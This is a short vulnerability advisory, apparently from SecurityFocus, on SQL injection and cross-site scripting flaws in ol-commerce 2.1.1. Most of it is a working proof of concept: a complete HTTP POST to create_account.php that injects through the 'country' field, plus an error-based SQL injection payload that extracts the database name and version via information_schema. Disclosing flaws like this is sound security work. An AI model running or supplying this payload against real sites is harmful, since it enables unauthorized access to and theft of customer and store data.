source: http://www.securityfocus.com/bid/68719/info
  
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
ol-commerce 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/OL-Commerce/create_account.php

POST /OL-Commerce/create_account.php  HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/OL-Commerce/create_account.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301


action=process&gender=m&firstname=aaaaa&lastname=bbbb
&dob=17.05.1991&email_address=email@hotmail.com
&company=ccc&vat=1234&street_address=dddd&suburb=eeee
&postcode=00961&city=fffff&state=gggggg
&country=118[SQL
INJECTION]&telephone=45345325&fax=234234&password=12121212&confirmation=12121212&x=28&y=4

[NOTE]
------
country=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- -